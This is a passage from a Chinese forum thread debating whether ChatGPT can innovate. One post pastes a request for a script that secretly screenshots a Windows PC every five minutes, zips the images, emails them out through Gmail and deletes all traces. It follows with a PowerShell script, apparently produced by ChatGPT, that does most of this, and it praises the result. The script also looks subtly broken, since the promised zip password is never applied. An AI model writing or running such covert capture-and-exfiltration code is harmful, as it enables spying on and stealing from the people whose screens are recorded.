西西河

主题:chatGTP只会复读,不能创新有啥战略意义,还巨大挑战呢? -- 思想的行者

共:💬57 🌺158 🌵4 新:
分页树展主题 · 全看首页 上页
/ 4
下页 末页
          • 家园 一个心理学系的教授谈人工智能?

            你说的通过网络进行销量调查不具有多大的可行性。

            一般而言,销量数据都是企业机密,不会上传到网上的。

            而且通过网络调查销量,这个与chatGTP有啥关系?

            • 家园 你对网络理解的狭隘了

              理论上讲,任何网络销售数据都已经在网上了。对大众不开放,和对某企业不开放是两码事。比如阿迪达斯完全可以跟京东签协议,对自己开放销售数据。然后基于GPT的AI就可以读取这个数据写报告。

              另外,人工智能开发人员中相当一部分人员是(认知)神经科学出身,刘嘉就是mit认知科学系毕业的博士,他本科出自北大心理系,该系编程能力全校第一。我前女友的某个老师是北大心理系毕业的,dos时代自己写硬件驱动,完成刺激设备和数据采集设备的毫秒精度同步。

              • 家园 企业机密主要就是对企业保密的

                举例而言,此前昧国政府要求台积电三星等等对其公布销售数据,就引来一阵反对声。

              • 家园 不能创新?

                我这就一段话写个代码给你看看。

                用Windows10自带的脚本功能,写一个批处理命令。要求每 5 分钟屏幕截图一次,然后将其保存为图片,再将其压缩为 ZIP 文件,密码为12345,然后使用 Gmail把这个压缩文件发给[email protected]的邮箱,然后删除所有痕迹。

                $ZipFile = "C:\Users\user\Desktop\Screenshots\$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').zip"

                $Password = ConvertTo-SecureString -String "12345" -Force -AsPlainText

                $Credential = New-Object System.Management.Automation.PSCredential("[email protected]", $Password)

                Add-Type -AssemblyName System.Windows.Forms

                Add-Type -AssemblyName System.Drawing

                while ($true) {

                $Screenshot = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds

                $Bitmap = New-Object System.Drawing.Bitmap $Screenshot.Width, $Screenshot.Height

                $Graphics = [System.Drawing.Graphics]::FromImage($Bitmap)

                $Graphics.CopyFromScreen($Screenshot.Location, [System.Drawing.Point]::Empty, $Screenshot.Size)

                $Bitmap.Save("C:\Users\user\Desktop\Screenshots\$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').png", [System.Drawing.Imaging.ImageFormat]::Png)

                Start-Sleep -Seconds 300

                if (Test-Path $ZipFile) {

                Add-Type -AssemblyName System.IO.Compression.FileSystem

                [System.IO.Compression.ZipFile]::CreateFromDirectory("C:\Users\user\Desktop\Screenshots", $ZipFile, [System.IO.Compression.CompressionLevel]::Optimal, $false)

                Send-MailMessage -To "[email protected]" -From "[email protected]" -Subject "Screenshots" -Body "Screenshots" -Attachments $ZipFile -Credential $Credential -SmtpServer "smtp.gmail.com" -Port 587 -UseSsl

                Remove-Item "C:\Users\user\Desktop\Screenshots\*.png"

                Remove-Item "C:\Users\user\Desktop\Screenshots\*.zip"

                }

                我甚至一个powershell命令都不懂!

                这就是一个随身码农,只要你会问问题!

                数量本身就是最大的暴力,全球几亿人在用的随身码农还不够创新?

                全球码农加一起有这零头不?

                把脚本小子级别的码农数量翻了一百倍的创新算不算创新?

                3.5是脚本小子,4.0就是大一学生,以后呢?这人力培养的过来?你打算开多少所大学来量产码农?

                还记得第一次工业革命的时候的纺纱机是怎么摧毁土布的?

                /

                另外,不会最基本的抽象和概括?莫非我用了这么多天的文献概括功能是假的?

                怎么用?edge打开文献,然后问它:请概括这篇文章

                另外B站现在底下评论区里大片大片的chatgpt自动概括视频内容,这也是假的?b.jimmylv.cn用一下就知道。

                比如这个视频:BV1FM411W76K-手搓V2发动机!我为7岁女儿造小摩托

                /

                整个视频是关于作者为女儿改造三轮车并加装发动机的过程。

                这是一个父亲为女儿改造三轮车的故事。

                0:05 - 给三轮车装了微型发动机,虽然动力不大,但女儿还是很开心。

                0:35 - 父亲和女儿一起骑着三轮车唱歌,很有趣。

                0:52 - 自己设计并制造了发动机,因为三轮车空间太有限了。

                1:33 - 他找不到适合的发动机,只能自己设计,自己制造。

                3:46 - 作者骑着三轮车在田野里奔跑,很自由。

                6:09 - 作者在回老家后,把自己小时候的玩具改造成孩子们喜欢的样子,很有意义。

                7:11 - 作者以后会分享更多手工作品,希望大家喜欢。

                7:24 - 作者很开心能够利用空闲时间陪伴孩子们,也希望其他父母能够多陪伴孩子。

                /

                麻烦抬头看看未来吧。

                • 家园 抽象和概括

                  请依据几千万次合金材料(橡胶材料)实验报告建立材料性能模型、公式或者像元素周期表那样的表格。

                • 家园 这不叫创新

                  世界上没有人能想到的,他想到了,这才叫创新。你说的这些,人不仅能想到,还能做到,不过是成本高点而已。

                  你们两个理解的都有偏差:一个夸大,一个缩小。

                  • 家园 没必要狂吹创新

                    无非是在足够基础上,排列组合一些可能性。一种是实践多了,从实验结果中探索可能的原因,另一种是理论推导,指导新实践。这是理论实践互相促进,而人工智能确实能做到。

                    没必要神秘化创新,好像创新是什么了不起的东西一样。稍微有点科研经验的就知道,你有个点子一查文献,很多人都做过。可见创新一点都不稀奇,你把历史上的大腕都抹掉,后来人照样会科研出来,无非论文署名的换一批人而已。

                    • 家园 这是事实判断不是价值判断

                      比如我说Ai不会擦屁股,不意味着擦屁股特别高级。不会就是不会。创新也是类似的。

                      • 家园 机器人可以完成一般擦拭工作,这是事实

                        至于有没有专门的擦屁股机器人,我就不知道了,估计设计起来也不会太困难。

                        我的意思是没必要把擦屁股神秘化,这就是众多擦拭工作中的一种。

分页树展主题 · 全看首页 上页
/ 4
下页 末页


有趣有益,互惠互利;开阔视野,博采众长。
虚拟的网络,真实的人。天南地北客,相逢皆朋友

Copyright © cchere 西西河